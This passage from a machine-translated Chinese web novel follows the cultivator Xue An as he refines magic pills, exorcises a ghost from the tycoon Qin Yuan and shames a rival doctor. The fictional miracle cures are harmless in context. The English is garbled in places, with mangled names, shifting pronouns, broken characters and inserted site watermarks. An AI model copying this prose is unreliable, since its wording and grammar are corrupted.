    Xue An said lightly: "Without him, it''s not pleasing to the eye."


    Lin Danian almost squirted out a mouthful of blood, and would kill someone if he didn''t please his eyes?


    This is simply...


    is too domineering!


    But Xue An suddenly whispered, "What are you carrying?"


    The Lin family is in the medicinal material business. Today, it was suddenly banned by the Longtai Group. Lin Danian was anxious, so he took out a century-old mountain ginseng that he had kept in his home for many years, thinking about giving it to Qin Yuan in exchange for forgiveness.


    But he didn''t want to be seen by Xue An.


    Lin Danian quickly took out a small slender box, and after opening it, he said proudly: "This is the treasure of our Lin family, a century-old wild ginseng!"


    The strong medicinal fragrance made Qin Yuan who was close to him also shine.


    is really a good thing!


    Lin Danian tried to see shock from Xue An��s face, but was disappointed.


    Xue An just said indifferently: "It''s a small ginseng that can barely be called a medicinal material."


    Hundred-year wild ginseng, in his eyes is just a small ginseng that can barely be called a medicinal material?


    Lin Danian almost vomits blood.


    "But it''s rare, you give me this thing, I will spare your son this time."


    Lin Danian hesitated, and finally gritted his teeth, "Okay! Little brother! As long as you let my son go, I will give you this ginseng!"

 Chapter 6： Egg Fried Rice

    Lin Danian led Lin Feng and others away dingy.


    Xue An picked up Xue Xiang and Xue Nian, and said to Qin Yuan: "I said you have at most three days to live, do you believe it?"


    Qin Yuan turned pale, bowed his head and said nothing.


    Qin Yu couldn''t help it anymore, and sneered: "Do liars dare to make such a big fanfare these days? My grandfather had just received a physical examination from the hospital, and everything is normal. You are so silly, you..."


    Xue An glanced at Qin Yu lightly, and Qin Yu felt that his eyes were so deep that he seemed to be able to **** him in, and he couldn''t say anything else.


    Qin Yuan smiled bitterly at this moment, "Mr. Xue, you really are not an ordinary person."


    "Grandpa, why do you believe this violent mania?" Qin Yu was anxious, for fear that his grandpa would be fooled by this man again.


    "Yu''er, don''t be rude, what Mr. Xue said was what I was in Zhongdu last year, and the genius doctor Gao said to me himself!"


    High genius doctor!


    Qin Yu couldn''t help being speechless when he heard this name.


    High genius doctor is second to none in China.


    He wants to say when you die, then you have to die when.


    Qin Yuan said with a wry smile: "Yu''er, do you know why I called you back from abroad? Just for fear that I will be gone someday. You can''t control this huge Longtai Group in your own hands!"


    Qin Yu''s eyes were red, and he choked up and said, "Grandpa, let''s go to Zhongdu now and find a doctor Gao to treat you!"


    Qin Yuan shook his head, "Silly boy, if it can be cured, Doctor Gao would not say that last year!"


    Qin Yu began to despair, "Then we will go abroad, I know many top doctors abroad, they will definitely cure you!"


    Qin Yuan shook his head, and said in a low tone, "It''s useless! Just like today''s physical examination, I can''t find anything wrong with it!"


    Xue An said suddenly: "If I say, can I cure your disease?"


    Qin Yuan''s expression became excited, "Mr. Xue can really cure my illness?"


    Xue An nodded, "Of course, but you have to pay me enough."


    Before Qin Yuan could speak, Qin Yu sneered and said, "Does the fox''s tail really appear? Just open your mouth and ask for money?"


    Xue An frowned slightly, "Do you know you have a lot of nonsense?"


    Qin Yu was speechless.


    Qin Principle was excited, "Okay! Then, Mr. Xue, when will my disease be cured?"


    "Today is too late, tomorrow!"


    "Well, if Mr. Xue is convenient, you can come to my house, after all, it is more convenient!"


    Xue An nodded after thinking about it, "Okay! But I''m going to take the child!"


    "no problem!"


    Qin Yuan naturally has a full-time driver.


    After a while, a very low-key Audi A8 drove over.


    Qin Yuan personally opened the door for Xue An.


    Qin Yu really couldn''t stand it anymore. She always felt that this man was unreliable, but her grandfather was very convinced by him, and Qin Yu couldn''t help it.


    But Qin Yu thought for a while, before his eyes lit up, then secretly took out the phone and sent a message.


    Hmph, wait for tomorrow, there is something good for you!


    Qin Yuan lives in a big villa on the outskirts of the city.


    The guards here are heavily guarded and the environment is beautiful.


    After Xue An got off the car, he felt that the aura here seemed to be stronger than the outside world.


    Qin Yuan sensed Xue An��s surprise and couldn��t help laughing: ��What can Mr. Xue see?��


    "Your villa, someone who knows how to do it, no wonder you can live till now!" Xue An said.


    Qin Yuan''s heart was shocked, the hope in his eyes could not help but be greater, and his expression became more respectful.


    "Mr. Xue is indeed a master! This villa was built by me with a lot of money and invited a Feng Shui master!"


    "Unfortunately, I just know a little about fur!" Xue An said lightly.


    As for the two little girls Xue Xiang and Xue Nian, their eyes are not enough at this moment, and they have been curiously looking at everything around them.


    "Mr. Xue, you haven''t eaten yet, what do you want to eat, I order someone to prepare it!" Qin Yuan said.


    Xue An doesn''t care whether he eats or not, but his two daughters can''t be hungry.


    "What do you two want to eat?" Xue An asked with a lovely smile.


    Qin Yu watched from the sidelines, secretly slandering himself, this man was schizophrenic, he looked cold and unattainable to the others, but he was so gentle to the two little girls.


    Xue Xiang and Xue Nian looked at each other, and then said in unison: "Egg fried rice!"


    "Okay! Then fried rice with eggs!" Xue An was about to become a slave to her daughter. As long as the two little girls said it, they all agreed unconditionally.


    Qin Principle was a little silly, "Is it... egg fried rice?"


    Xue An nodded.


    Egg fried rice comes up quickly, and from the color and aroma, it is definitely from the chef''s handwriting.


    The two little girls ate their first mouths, and their eyes became round.


    "What? Isn''t it delicious?"


    "Baba, it''s so delicious!" Xue wanted to finish, so he ate.


    Xue An just smiled slightly.


    The two little girls ate quickly. A bowl of egg-fried rice was eaten up quickly, and the bowl was clean and there was no leftovers.


    "Are you full?" Xue An asked indifferently.


    "It''s so full!" Xue wanted to pat his belly.


    Xue Nian burped contentedly.


    How cute and cute that way.


    Qin Yu couldn''t help but smile, thinking in his heart, this man is cold and annoying, but these two little girls are really likable!


    Qin Yuan ordered the room to be arranged. UU Reading Xue An led the two girls back to the house.


    Qin Yuan and Qin Yu are left in the living room.


    Qin Yu said, "Grandpa, why do you believe this man? I always think he is not a good person!"


    "Why?"


    "Because of... his eyes!"


    Qin Yuan smiled, "Yu''er, you are still young, and you still don��t understand many things very well. Although you have studied abroad for many years and have contacted many people, you don��t know what a real master is like. of!"


    "The so-called master must be different from ordinary people. Although this boy is dressed in general, his behavior is by no means an ordinary person, especially his temperament. Even I have never seen such an outstanding character in China!"


    Qin Yu felt a little disdainful.


    Hmph, waiting for tomorrow, I will let you make a big ugly in front of grandpa, then I will see how embarrassed you to stay.


    late at night.


    The two little girls fell asleep.


    Xue An stood in front of the floor-to-ceiling windows, and the moonlight in the winter night shone in, cold as yarn.


    Xue An opened the small pill box.


    That is the ginseng I got today.


    There are some medicinal materials bought on the market today.


    Xue Anto was in his hand, his eyes suddenly cold, under the moonlight, these medicinal materials gradually began to melt.


    soon, it melted into a small ball, and it was spinning around in the air.


    A smile appeared at the corner of Xue An''s mouth.


    Although the medicinal materials are not very good, but with his cultivation base and vision, it is simply too simple to refine the pill pill, and he can still refine the pill pill to a very high level by relying on easy-to-follow techniques.


    At this moment, even the moonlight seemed to be aroused, and the calm aura of the whole villa began to agitate.

 Chapter 7： Refining

    The restless aura began to gather in this room, Xue An gave a soft drink, and the restless aura immediately became docile.


    "Enter!"


    Spiritual energy poured into the sphere floating in the air like a tide, and the dark brown liquid gradually became clear.


    A strong fragrance of medicine permeated.


    Xue An knew that Pei Yuan Dan was completed.


    Although the quality of the medicinal materials is very poor, relying on Xue An''s cultivation base, he still refined the top-grade pill.


    But this is not enough.


    Xue An pinched the sword art in his hand, and suddenly stroked his brow.


    A drop of golden blood appeared in his hand.


    And Xue An''s complexion has become a little weary.


    "Hey!"


    The golden blood contained almost terrifying energy. As soon as he came into contact with the soon-to-be-formed Pei Yuan Dan, he immediately turned to the guest, and quickly dyed the amber Pei Yuan Dan into gold.


    An indescribable fragrance quickly permeated the entire villa.


    "What''s this smell? It smells so good!" Qin Yu lying on her bed also smelled the strange smell.


    "Could it be that guy is messing around again? But the smell is so good!" Qin Yu felt that he was ecstatic.


    She used to suffer from insomnia, but soon fell asleep.


    At this moment, Pei Yuan Dan has finally become.


    Looking at the two golden pills, Xue An couldn''t help taking a breath.


    It was that Xue An had never been so nervous when refining Dao-level pill before.


    especially used his life essence.


    But everything is worth it.


    These two medicines are faintly blessed with Qi luck, and they seem to have broken through the earth level, and the lowest is the heaven level medicine.


    If anyone who knows how to make alchemy is here, it is estimated that Xue An will be violent and violent.


    Pei Yuan Dan is nothing more than the most basic building block medicine, even mortals can take it.


    Earth-level Pei Yuan Dan is good enough.


    Xue An actually extravagantly refined Heaven-level Pei Yuan Dan.


    For Xue An, everything is worthwhile for her daughter.


    looked at the two little girls sleeping.


    Xue An smiled slightly, and put two pills of medicine beside the mouths of the two little girls.


    The pill is as if it is spiritual, and it enters the mouth directly after it turns into water.


    Xue Xiang murmured, turned over and went back to sleep.


    Xue Nianze clicked his mouth, then whispered: "It smells so good!"


    Xue An smiled and patted Xue Nian lightly, "Hey, go to sleep!"


    Xue Nian fell asleep again.


    Although these two little girls may not be able to use one percent of the effectiveness of the Pei Yuan Pill now, the pill will benefit them infinitely in the future.


    However, after the elixir was refined, there was still some black slag.


    Xue An gathered these medicine dregs together, and then merged into a common grade Pei Yuan Dan.


    This thing is tasteless to Xue An, it is a pity to discard it.


    Keep it.


    What if it''s useful.


    the next day.


    Qin Yu woke up from her sleep, stretched a long waist, feeling that she had never slept so comfortably in her life.


    what!


    Qin Yu suddenly felt that something was wrong outside the window.


    Then I heard that the servants were also talking about it.


    Qin Yu walked to the window and saw a surprising scene.


    The garden full of flowers and plants that had fallen out of leaves due to the severe cold actually bloomed overnight.


    Even the ginkgo tree is covered with green leaves again.


    How is this going?


    Qin Yu is a little unclear.


    When she looked in the mirror while she was washing, she was stunned.


    My previous self, although beautiful, has never been as radiant as today.


    Qin Yu suddenly thought of the strange fragrance last night.


    Could all this have something to do with the fragrance?


    Holding this doubt, she went downstairs to the living room.


    At this time, Xue Xiang and Xue Nian had already got up, and they were looking at Peppa Pig in the lobby.


    Qin Yu was stunned.


    Because she discovered that these two little girls suddenly became... so good-looking?


    Yesterday''s Xue Xiang and Xue Nian were cute enough.


    But compared to today, it is still much inferior.


    Not to mention anything else, just the fragrance of the two little girls makes people want to get close.


    And the two little girls seem to have become more pure.


    It seems like a porcelain doll without any impurities.


    "Little girl, who is your sister and who is your sister?" Qin Yu couldn''t help but ask this question.


    Xue wanted to look up at Qin Yu, then wrinkled his little nose, "Sister, when we are watching TV, you can''t talk to us!"


    Qin Yu was a little embarrassed to be said.


    Is this a lesson taught by a child?


    At this time, Xue An walked to the living room and said lightly: "Think about it, when you see an older woman in the future, remember to call it aunt, not sister!"


    Qin Yu was said to be furious.


    "Who do you think is old?"


    Xue An looked at Qin Yu, "If you still want to save your grandfather, then remember to use honorifics when talking to me."


    "You..." Qin Yu''s willow eyebrows were upside down, and he gritted his teeth with hatred.


    I see when you can go crazy, wait a while... Humph! I will make you look good!


    At this time Qin Yuan also went downstairs, and said to Xue An excitedly: "Mr. Xue, the flowers and plants outside are..."


    Xue An said lightly: "I can do it."


    "I knew it! Mr. Xue is really a man of God! Let the flowers bloom overnight. Such methods are really unheard of!"


    Qin Yu muttered a little dissatisfied, "He did everything, is there any evidence?"


    Xue An frowned, this woman is totally brainless.


    "Yu''er, don''t be rude, Mr. Xue, don''t be surprised! Yu''er grew up abroad and behaved recklessly..."


    Xue An waved his hand, UU Reading "If I''m offended, she can''t stand here now. Come on, what price can you pay for your life?"


    As soon as Qin Yuan wanted to speak, he heard footsteps outside, and then an old man sneered: "I want to see where the genius doctor has such a big tone, and he spends his life?"


    Following the sound, a group of people walked in.


    Walking in the forefront is a gray-haired old man with a gloomy face.


    and a few young men and women followed, all looking arrogant.


    Qin Yu smiled and greeted the old man, "Master Hua, you are here!"


    Hua Xing Yuhua is a very famous medical expert in Beijiang. Although he is not as good as the master doctor in Zhongdu, he is also very powerful.


    A lady in dress-up behind the old man also smiled and said at this moment: "Grandpa, this is my girlfriend Qin Yu!"


    Hua Tingting.


    Qin Yu��s best friend is also Hua Xingyu��s granddaughter.


    Qin Yu''s dependence also comes from this.


    Qin Yu glanced at Xue An triumphantly, saying that you are miserable now!


    This is Beijiang��s most prestigious medical expert, and your tricks will soon be revealed.


    But Xue An just sat there quietly, her expression indifferent. It seems that everything has nothing to do with him.


    Qin Yuan''s complexion was a bit ugly at this time, but Hua Xingyu was also a leading figure in Beijiang.


    So Qin Yuan also stood up and gave his hands, "It turned out to be Mrs. Hua! Please sit down!"


    Hua Xingyu also responded, "Master Qin, I haven''t seen you for a while, but your body is still strong!"


    After talking and sitting down, Hua Xingyu looked at Xue An with a gloomy face, and then said, "I don''t know who this is?"


    Xue An said lightly: "My name is Xue An."

 Chapter 8： Shock the audience

    Xue An?


    Hua Xingyu frowned. I have never heard of such a doctor among the younger generation.


    Hua Xingyu looked at his granddaughter Hua Tingting.


    Hua Tingting is the deputy director of the largest hospital in Beijiang. If there is a famous young doctor, she must know her.


    Of course, Hua Tingting didn��t recognize Xue An. She looked at Xue An for a while, and then asked disdainfully: "Dare to ask this Mr. Xue, which medical school did you graduate from? Beiyi? Return to the doctor? Or Yale. University medical school?"


    What Hua Tingting said is one of the best medical schools in the world.


    The young men and women who came with Hua Xingyu are all top students in these medical schools.


    But Xue An just smiled faintly, "Neither! I never went to medical school."


    "Then who is your master?" Hua Xingyu asked next.


    There are many medical experts in China who are hiding in the folks. If Xue An is their descendant, then it should not be underestimated.


    Xue An shook his head, "Neither! I am not a doctor!"


    "Not a doctor?" Hua Tingting''s expression became more and more contemptuous.


    "Then how did I hear that someone actually threatened to save Father Qin''s life, provided that he can get the right price! Could it be a liar?"


    This statement is obviously very heavy, and it can be regarded as directly accusing Xue An of being a liar.


    But Xue An remained unmoved, still sitting there without any expression.


    Hua Xingyu said to Qin Yuan at this time: "Master Qin, I see you have a ruddy complexion, clear pupils, and full of breath. You don''t look like a sick person. Can you take a look?"


    Qin Yuan hesitated a little, but Qin Yu couldn''t help but said: "Grandpa, Master Hua is also kind, so let him take a look."


    Hua Xingyu put his hands on Qin Yuan''s veins, closed the door and meditated for a long time, and then smiled: "Master Qin, I look at your veins and think you can live to at least one hundred years old!"


    ''S words made many people laugh.


    As for Xue An, it seems to be forgotten.


    Qin Yuan sighed, "I don''t expect to be a hundred years old, I just want to live until Yu''er gets married!"


    Qin Yu turned red and lowered his head.


    But at this moment, an untimely voice came.


    "I thought I was called a master for two times. It turned out to be nothing more than that!"


    The laughter stopped abruptly.


    Hua Xingyu''s complexion turned gloomy, Hua Tingting frowned, and said impatiently: "Stop playing with those gangster tricks, I tell you, if you lie in the name of a doctor again, be careful that I send you to prison."


    Hua Xingyu waved his hand to stop Hua Tingting from continuing to speak, and then stared at Xue An, "You said I''m nothing but this, that''s okay, what insight do you have?"


    Xue An nodded, "Yes, but if I win you, what should you do?"


    "If you can beat me in the path of medicine, then I will kneel down and worship you as a teacher!" Hua Xingyu sneered.


    Xue An shook his head.


    "What? Afraid?"


    "No, I don''t want to accept you as a disciple, you are too old! If it is your granddaughter, I can consider it!"


    ''S words made Hua Tingting''s pretty face cold, and Hua Xingyu''s apprentices also looked bad.


    Xue An turned to look at Qin Yuan. "Although you don''t see any symptoms, there is one symptom. Do you dream every night?"


    Qin Yuan nodded.


    Hua Tingting smiled contemptuously, "If this is sick, then almost everyone is sick."


    Xue An glanced at Hua Tingting, Hua Tingting felt cold all over, and I couldn''t say anything further.


    "Do you always dream of a person, she will tell you in the dream, how many days can you live?"


    Qin Yuan''s complexion changed drastically.


    Xue An��s words directly hit him on the biggest secret he has buried in his heart for more than a year.


    This is why he seeks medical advice all day long.


    Because he dreams of the same woman almost every night, and then the woman tells himself in the dream that he can live for a few days.


    This is why Qin Yuan was so moved when Xue An said in the medicinal material market that he could only live for three days.


    Because the woman in red said very clearly, he will die in three days.


    Seeing Qin Yuan''s face changed drastically, Hua Xingyu was also a little surprised.


    Could this kid be fooled?


    Hua Tingting was a little dismissive.


    "Master Qin, according to the current medical theory, everyone dreams. This is as common as breathing. You may be too stressed to have the same dream. You don''t have to worry too much about it. Don''t be used by some liars with ulterior motives because of this."


    Xue An said lightly: "Do you know why I know you dream every night? Because that woman in red is lying on your back now."


    As soon as he said this, not only Qin Yuan''s expression changed dramatically, Qin Yu also got goose bumps all over his body.


    Hua Tingting just felt relieved at this time, and said with a sneer: "After a long time, it turned out to be a quagmire! If you can see that people are dreaming, there is still a forgiveness, you may see a woman in red, that is pure That''s nonsense! Father Qin, don''t believe him, he is a liar."


    As a person with higher medical education abroad, she even looked down on Chinese medicine, let alone this kind of trick. UU Reading www.uukahnshu.com


    But at this moment, Xue An smiled lightly.


    "A mortal fetus with the naked eye is a mortal fetus with the naked eye. Simply today, I will let you know what a real master is!"


    As he said, Xue An waved his hand suddenly and gave a soft drink.


    "Pro!"


    Everyone present felt that the room suddenly darkened, and then they saw an extremely horrifying scene.


    On Qin Yuan''s back, a woman in red with a disheveled hair was lying on his stomach.


    This scene made the timid Hua Tingting scream. Hua Xingyu and others were also pale.


    Qin Yuan plopped and fell to his knees, "Sir, help me!"


    The female ghost in red, who was lying on his back, suddenly rushed out and went straight to Hua Tingting who was already frightened.


    Seeing is coming soon.


    Hua Tingting was too scared to even move.


    At this moment, Xue An said lightly: "A horrible ghost, dare to be presumptuous in front of me?"


    Saying that Xue An''s right hand suddenly grabbed, the red ghost let out a miserable cry, then turned into black smoke, and was firmly grasped by Xue An.


    In the black mist, Xue An, standing with his hands holding hands, looked like a god.


    "Now, can you believe it?" Xue An said lightly.


    Hua Xingyu plopped and fell to his knees, "Mr. forgive me, we have no eyes! Please forgive me, Mr.!"


    Xue An said lightly: "Crack!"


    The black smoke broke apart at the sound, and then vanished into nothing in a flame!


    The house calmed down, Hua Tingting was so frightened that Huarong was pale, and Qin Yu was not much better.


    Only Xue An patted his hands, as if he had accomplished a trivial thing.


    "Old man Qin, the matter is over, check out!"

 Chapter 9： Heaven and human means!

    Qin Yuan immediately took out a black card with gold letters and handed it over respectfully.


    "Master Xue, this card is a bit of my heart, not respect!"


    Xue An also did not refuse, took it and put it in his pocket, and then said to the two little girls who were obsessed with watching TV in the distance: "Go, go home with Dad!"


    But Qin Yuan suddenly turned pale, his figure shook, he vomited a mouthful of blood and fell onto the sofa.


    "Grandpa!" Qin Yu was shocked and rushed over.


    Qin Yuan''s eyes were blank, and even his breathing became weak.


    "What happened to my grandpa?" Qin Yu said anxiously.


    Hua Xingyu hurried forward to get Qin Yuan''s pulse, and then frowned.


    "If Mr. Qin''s pulse condition is unreliable and Yang Qi is weak, it is a sign of death!"


    Qin Yu shouted at Xue An, "What''s going on? Didn''t you say to save my grandpa?"


    Xue An said lightly: "He has been possessed by Li Gui for so long, and his yang energy has been exhausted! Now that Li Gui is gone, he will naturally die!"


    "What should I do? Master Hua, is my grandpa still saved?" Qin Yu''s tears flowed out.


    Hua Xingyu shook his head, "In this situation, even if there is a century-old ginseng, he can''t hold back his tone! Get ready for funeral!"


    Qin Yu pounced and knelt in front of Xue An, "Mr. Xue... I know how I have been negligent to you, but please save my grandpa! As long as you save my grandpa, I will promise you everything!"


    Xue An looked calm, he had no good impressions of Qin Yu.


    He also knows what happened today, it must have been caused by this girl.


    But at this moment, Xue Xiang secretly pulled on Xue An''s clothes, and then whispered: "Baba, this sister is so pitiful!"


    Xue An''s expression is gentle only when facing his two daughters.


    "Think about what you plan to do?"


    Xue Nian, who was concentrating on eating oranges, suddenly said, "Baba, help this sister, she is so ugly crying!"


    Qin Yu who said this was a little bit dumbfounded.


    For Xue An, his daughter��s words are the imperial decree. He casually took out the Pei Yuan Dan made from the remaining medicine dregs and said, "You will be fine if you eat it!"


    When Hua Xingyu saw this Peiyuan Pill, his eyes became round and his breathing became rapid.


    "This this����."


    Hua Tingting was a little confused, "Grandpa, what''s the matter?"


    "Can you let me take a look at this medicine?" Hua Xingyu seemed to see the child who loved the toy.


    Xue An nodded and threw the pill over.


    Hua Xingyu caught it in a hurry, staring at this Pei Yuan Dan almost greedily, and then was amazed after a while.


    "The means of heaven and man, really means of heaven and man!"


    Then Hua Xingyu arched his hand at Xue An, "Mr. Xue, I have been immersed in medical practice for Hua Xingyu''s life. I have never served anyone, that is, the fellow of the high gods. I am not convinced, but today, I am convinced. !"


    "Oh, you are an expert!" Xue An said.


    After he fed the medicine to Qin Yuan, after a few minutes, Qin Yuan''s pale cheeks became ruddy again.


    Soon, Qin Yuan returned to normal.


    Not only that, but even the wrinkles and gray hair on the face are reduced by half.


    If Qin Yuan before was an old man in his seventies, now he is like a middle-aged man in his fifties.


    Such wonders also made Hua Xingyu excited.


    As for Hua Tingting, she is even more silly.


    rejuvenate!


    If before today, someone told Hua Tingting that someone could do this with a humble pill.


    That Hua Tingting will definitely think this person is a liar.


    But the real scene that happened before her eyes left Hua Tingting speechless.


    The three views established by science from childhood to big collapse suddenly.


    I thought of the many mockery I just made to Xue An.


    Hua Tingting''s face couldn''t stop fever.


    She couldn''t help but peek at Xue An.


    Only then did Hua Tingting discover...


    This man is so handsome!


    The main reason is that Xue An has an unrelenting attitude in his body, making him like a high emperor, and people dare not approach easily.


    Hua Tingting''s heartbeat couldn''t help speeding up.


    And at this moment, after Qin Yuan knew what had just happened, and realized what was strange about him, he bowed to Xue Anshen.


    "Mr. Xue! From today, if there is anything, as long as you say a word, Longtai Group will definitely go all out and dare not neglect!"


    The weight of this promise made Qin Yu, Hua Tingting and others irritable.


    Only Hua Xingyu looked at Qin Yuan enviously.


    He knew that it was not enough.


    Just the Pei Yuan Dan, Hua Xingyu believes that if it appears in Zhongdu, or is known by those wealthy families, it will definitely set off a **** storm.


    After all, it can make a gray-haired old man younger. Hua Xingyu asked himself if he couldn''t do this kind of pill, the high genius doctor in Zhongdu couldn''t do it, and even the sacred doctors in the world couldn''t do it.


    It is not an exaggeration that Qin Yuan is sending Longtai Group directly to Xue An.


    After all, compared with fate, wealth or something is a fart!


    But Xue An just nodded slightly.


    "Got it."


    Then Xue An said to Qin Yu: "You just said that as long as I save your grandpa, can you do anything?"


    Qin Yu''s heart tightened and bit his head and said, "Yes!"


    "Well, you drive us home!"


    Qin Yu breathed a sigh of relief, UU reading www. uukanshu.com But there was a slight disappointment in my heart.


    Hua Xingyu was in a hurry, "Master, Master, have you forgotten our bet? You said that as long as I lose, you will accept me or my granddaughter as a disciple!"


    Xue An said lightly: "Really? I said this before?"


    Hua Xingyu nodded, "I have said that!"


    "But I have changed my mind now, you are too old, and your granddaughter... the medical qualifications are too bad! And too stupid!" After that, Xue An walked away.


    Hua Tingting stood there blankly, she had never been said that she was stupid in her life.


    "Grandpa, don''t pay attention to him, so what are you doing?"


    Hua Xingyu shook his head, arched his hand to Qin Yuan and left the room.


    Waiting to walk into the courtyard, looking at the verdant verdant courtyard and the cold winter, Hua Xingyu sighed and said: "Tingting, you don''t understand, this man may have more origins than we thought!"


    Hua Tingting was silent.


    Hua Xingyu picked off a leaf, "In this life, I can see such a means and meet such a person, and Hua Xingyu is not a waste of life! It is a pity, there is still no destiny!"


    Qin Yu drove himself and drove Xue An and his daughter back to the community.


    The people in the community were all taken down by this heroic Maybach, and they all watched from a distance.


    Xue An suddenly said when he got out of the car: "Did your Qin family offend anyone?"


    Qin Yu immediately understood, "Mr. Xue, you mean..."


    "The ghost is being manipulated!" Xue An got out of the car and left after speaking.


    Qin Yu sat in the car for a while, then took out his mobile phone and dialed the phone.


    "Old Hei, he ordered someone to start the investigation, the father''s illness is caused by someone behind the scenes!"

 Chapter 10： She used to be at the same table, now she is the actress.

    in a villa in Beijiang.


    An old man is meditating cross-legged.


    And a fat man standing in front of him sweating profusely.


    This old man is so thin and skinny that he can''t wait for a gust of wind to blow away.


    But the man looked respectful and didn''t even dare to show the atmosphere.


    suddenly.


    A tattoo on the old man''s arm disappeared without a trace after a flash of fire.


    The old man opened his eyes and said gloomily: "There is such an expert in Beijiang, who actually destroyed my red clothes."


    The man trembled all over, and quickly said: "Liu Shenxian, so that the old immortal Qin Yuan was rescued?"


    If Qin Yu was here, he would definitely recognize this man.


    Because he is the manager of Longtai Group and Qin Yu''s cousin, Qin Tian.


    And this old man is an expert Qin Tian invited to come out of the mountain, called Liu Luo.


    Qin Tian spent so much money to invite Liu Shou to come, in order to deal with Qin Yuan.


    If anyone in the world is looking forward to the death of Qin Yuan, it is definitely Qin Tian.


    Because only Qin Yuan is dead, Longtai Group will become his industry.


    As for Qin Yu.


    Qin Tian has never looked at his niece directly. He felt that how could he be his opponent, but a female classmate.


    And this Liu Shou really made an extraordinary move, and the red ghost in Qin Yuan was under him.


    Hearing Qin Tian''s words, Liu Wei let out a strange laugh.


    "Don''t worry, even if Qin Yuan is really rescued by an expert, I am not afraid. Only after two days of auctions to get the item, no one in the world will be my opponent!"


    Qin Tian quickly flattered.


    After getting along these days, Qin Tian has treated this Liu Luo as a god.


    "Liu Shenxian, is that thing really that powerful?"


    Liu Shou said lightly: "Do you really think that with your money, I can stay here in Beijiang for so long to help you do things?"


    "Yes, yes!" Qin Tian nodded and said yes.


    An excitement appeared on Liu Shou��s face, "You mundane people, actually auctioning such a treasure? If it weren��t because I didn��t know whose hands it was, I wouldn��t be waiting for this auction!"


    "Then Qin Yuan..."


    "When the old man gets the thing, I can help you kill him!"


    "But..." Qin Tian showed a look of embarrassment on his face.


    Liu Shou sneered and said: "Don''t worry, when I have a great cultivation base, he will die silently, and I will never doubt you."


    Qin Tian was overjoyed, "Thank you, old god!"


    Xue Xiang and Xue Nian are asleep.


    These two little girls are exhausted these days.


    Xue An took advantage of them to fall asleep, got up and started to clean up the house.


    pushed aside the bedroom where An Yan lived in. This room has not changed much from when he left four years ago.


    Many things remain as they are, but there is a thin layer of dust on them.


    Only the photo placed on the bedside table is still so clean and fresh.


    Xue An picked up the photo, An Yan on it, leaning against him, smiling very brightly.


    Xue An''s heart stings slightly.


    An Yan, wait for me! I will definitely let you come back to me gracefully!


    Those who once looked down on us and hindered us, I will trample them under my feet this time!


    what!


    Xue An suddenly discovered that it seems that someone often wipes this photo, especially on his side, it has become a little white after being touched.


    At this time the doorbell rang.


    Xue An put down the photo and opened the door.


    Tang Xuaner stood at the door carrying vegetables.


    "I''m back!" Xue An smiled and let Tang Xuan''er in.


    "Think about it and miss it?"


    "All asleep!"


    Tang Xuan''er smiled, "Sure enough, Baba is the closest, and they couldn''t sleep unless they saw me!"


    At this time, Tang Xuan''er saw the bedroom door open, and said calmly: "In the past few years, I have often gone in to clean, but nothing has been changed in the furnishings, I just think you will be back!"


    "Ok!"


    "have you eaten?"


    "have eaten!"


    "Would you like to eat more?"


    "Yes!" Xue An said with a smile looking at the woman in the empty valley and orchid.


    Tang Xuan''er started washing vegetables and cooking quickly!


    soon!


    A hearty meal is ready.


    Xue An sat down and ate.


    Tang Xuan''er said suddenly: "Tomorrow... our high school classmates will have a party!"


    "Oh!"


    "are you going?"


    Xue An shook his head, "I don''t even remember who the high school classmates are, what are they going to do?"


    "You are still like this, but this party is different, our old classmates, your tablemate in high school, Fan Mengxue has returned to Beijiang, and this party is also for her!"


    Fan Mengxue?


    Xue An frowned, and then remembered who it was.


    "She will come back as soon as she comes back, do you still use such fanfare to catch the dust?"


    Tang Xuan''er looked at Xue An with weird eyes, "Don''t you really know it?"


    "what do you know?"


    "Fan Mengxue is now the pride of our class! She is also the most popular female star today. She just won the Golden Globe Award for Best Actress last month, a dignified female actor!"


    "Oh, does that have anything to do with me?" Xue An said lightly.


    Tang Xuan''er sighed, "Have you forgotten? Fan Mengxue liked you the most when he was in school!"


    Xue An shook slightly, and the girl with ponytails and two deep dimples appeared in his mind.


    how come?


    Tang Xuan''er noticed Xue An��s surprise, and said dumbly: "The whole class knew it at that time, so you didn��t feel it at all?"


    Xue An shook his head.


    Tang Xuan''er was stunned for a moment, and then whispered: "I will go tomorrow, you go with me!"


    Xue An thought for a moment, then read and nodded, "Alright! But I have to think and miss!"


    "Okay, I will pick you up at noon tomorrow!"


    Tang Xuan''er is gone.


    Xue An sat in the living room and turned on the TV.


    It happened that an interview was being shown on TV.


    The person being interviewed is the same tablemate at the time, now the superstar Fan Mengxue.


    "Ms. Fan, I heard that Yue Xiaotian, one of the four princes in the capital, is pursuing you. Is there such a thing?"


    Fan Mengxue was so beautiful under the flashlight, she just smiled when facing the reporter''s question.


    "Mr. Yue and I are only friends, I have always regarded him as my brother!"


    The reporter was in an uproar.


    "So, don''t you have a boy who is tempted? Or what is your standard for choosing a spouse?" the reporter asked.


    Fan Mengxue froze for a moment, tears faintly in his eyes.


    "I already have someone I like!"


    The reporters are going crazy.


    This is super big news!


    "Then can you reveal who it is?"


    Fan Mengxue smiled, "He is my classmate, but he has been missing for four years, but I believe that we will definitely meet again!"


    This is the end of the interview. Although the reporters still want to follow up, Fan Mengxue has already left.


    And in a luxurious villa in Beijiang, a man with a handsome face but gloomy eyes threw the remote control abruptly.


    The remote control hit the 70-inch LCD TV, and the TV cracked.


    The man said bitterly: "Fan Mengxue, can''t you forget that kid until now? Okay, if he dares to come to the party tomorrow, I will be right in front of you and trample him under your feet!"

 Chapter 11： Waiting for the bus

    Fan Mengxue came out of the studio, and as soon as she got in the car, her agent Han Yao called.


    Fan Mengxue answered the phone.


    The top gold broker in the entertainment industry was furious on the phone.


    "Fan Mengxue, do you know what you are doing?"


    "I know!" Fan Mengxue said lightly.


    "You know? I don''t think you know anything! Do you know how much impact your remarks have on the company?"


    Fan Mengxue said nothing.


    "I told you that my phone was almost blown up just now. If I hadn''t suppressed it for you, what''s your situation now? Both the boss and the board of directors have to eat you!"


    After venting, Han Yao''s tone softened, "Mengxue, you are at the peak of the sky now, how much capital is waving banknotes, just because of your current popularity and popularity! But you suddenly confessed it on TV , How many fans will you lose!"


    Fan Mengxue said in a cool tone: "Sister Han, I understand all this, but he is back!"


    Han Yao lost her voice, and after a long time she said, "Then what are you going to do?"


    "I am going back to Beijiang and meet him!"


    "No!" Han Yao flatly refused.


    "Tomorrow you will fly to Europe, where there is an internationally renowned director, ready to make you the heroine of the next play!"


    "I''m sorry, I''m already in the car to Beijiang!" Fan Mengxue finished speaking, hung up the phone, and then shut down.
